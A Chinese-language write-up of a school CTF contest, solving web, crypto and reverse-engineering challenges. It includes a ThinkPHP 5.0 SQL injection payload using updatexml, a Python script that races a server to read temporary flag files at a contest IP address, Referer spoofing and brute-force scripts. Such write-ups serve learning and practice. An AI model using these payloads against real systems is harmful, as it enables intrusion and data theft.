豌豆杯入学CTF
1.题目:小可爱
第一步肯定是绕过本地回环地址
一开始想到的是x-forward-for
等告诉服务器我的地址但发现没有绕过 看题目题目是说来源地址想到了referer
成功绕过
这里没啥思路只能爆破
密码为orange 访问到另外一个页面 然后登录。 发现是一张迪丽热巴的图片 这个主管很喜欢迪丽热巴啊!!
将图片下载下来,用binwalk
查看下发现有压缩包!foremost
下得到压缩包发现有密码
这个地方解了很久发现使用Dilraba的md5。。。。
得到一张图片再一次foremost得到一个压缩包成功拿到flag
2.题目:单身二十年
<?php
header("Content-type:text/html;charset=utf-8");
show_source(__FILE__);
if($_COOKIE['token']=='5D41402ABC4B2A76B9719D911017C592'){
$file = 'dump/'.md5(base64_encode(mt_rand(1,100))).'.txt';
file_put_contents($file,file_get_contents('327A6C4304AD5938EAF0EFB6CC3E53DC.php'));
sleep(10);
unlink($file);
}else{
header('Location: index.php');
}
setcookie("token");
?>
看懂源码发现访问页面会睡眠十秒他会把flag写入到一个1到100随机数字经过base64,md5的txt文件里。 一种是用burp直接get到这里我就不演示了,我是直接写的python,访问下页面执行脚本就行了。
import base64
import hashlib
import requests
for i in range(1,101):
headers = {'Content-type':'text/html;charset=utf-8'}
encodestr = base64.b64encode(str(i).encode('utf-8'))
cookies = {'token':'5D41402ABC4B2A76B9719D911017C592'}
#print(encodestr)
m = hashlib.md5()
m.update(encodestr)
#print(m.hexdigest())
a = m.hexdigest()
url = 'http://106.14.145.133:8081/web10/dump/'+a+'.txt'
#print(url)
url_get = requests.get(url,headers=headers,cookies=cookies,timeout=2)
#print(url_get.headers)
#print(url_get.cookies)
if url_get.status_code == 200:
print(url_get.text)
3.题目:初心不改
访问页面发现是一个thinkphp5.0 一猜就是sql注入
一开始以为是构造一个注入然后load_file到flag后来发现想多了,直接通过payload拿到mysql账号密码
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
主页查看源码发现有一个phpmyadmin,登陆后成功拿到flag
web题我是全部AK掉了有些题目是通过exp直接拿到flag太简单了就不讲了。 Crypto题
1.题目:震惊,凯撒竟被4人关在一密室
凯撒被4个人关在一个密室里!
aCU3QjkxMjkxMTA3bjVnMTZoNjNjJTdEY2cwNDBoM2g4aTRlMDc3ZmYz
先是base64 然后url编码 栅栏编码四组 凯撒拿到flag
2.题目:粗心大意的主管 已知密文为:925♥♥♥A2D74♥♥DDE4♥EBC0♥♥♥1D0E♥♥7 原文为:8E5♥♥C14DCD♥CDE8♥♥55F3738♥11DE7A。 写个python就行了
# -*- coding: utf-8 -*-
import string
import hashlib
payloads = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for a in payloads:
for b in payloads:
for c in payloads:
for d in payloads:
for e in payloads:
for f in payloads:
s = "8E5"+a+d+"C14DCD"+b+"CDE8"+e+c+"55F3738"+f+"11DE7A"
tmp = hashlib.md5(s).hexdigest().upper()
if '925' in tmp and 'A2D74' in tmp and 'DDE4' in tmp and 'EBC0' in tmp:
print(s)
print(tmp)
3.题目:畸形的凯撒 密文:afZ_rCI[kA55#;ASc9*%$c
char="afZ_rCI[kA55#;ASc9*%$c"
i = 0
flag = ""
while i < len(char):
num = ord(char[i])+(i+5)
flag+=chr(num)
i+=1
print(flag)
REVERSE⌗
1.题目:机密文件 用NET.Reflector Pro工具打开文件 看到源代码 发现是aes加密使用openssl解密或者用c#再写一个解密的 password也在里面
openssl aes-128-cbc -nosalt -d -in secret.636748579460890458.bin -iv 6b6a704853325367344c716637754e65 -K 6b6a704853325367344c716637754e65 -p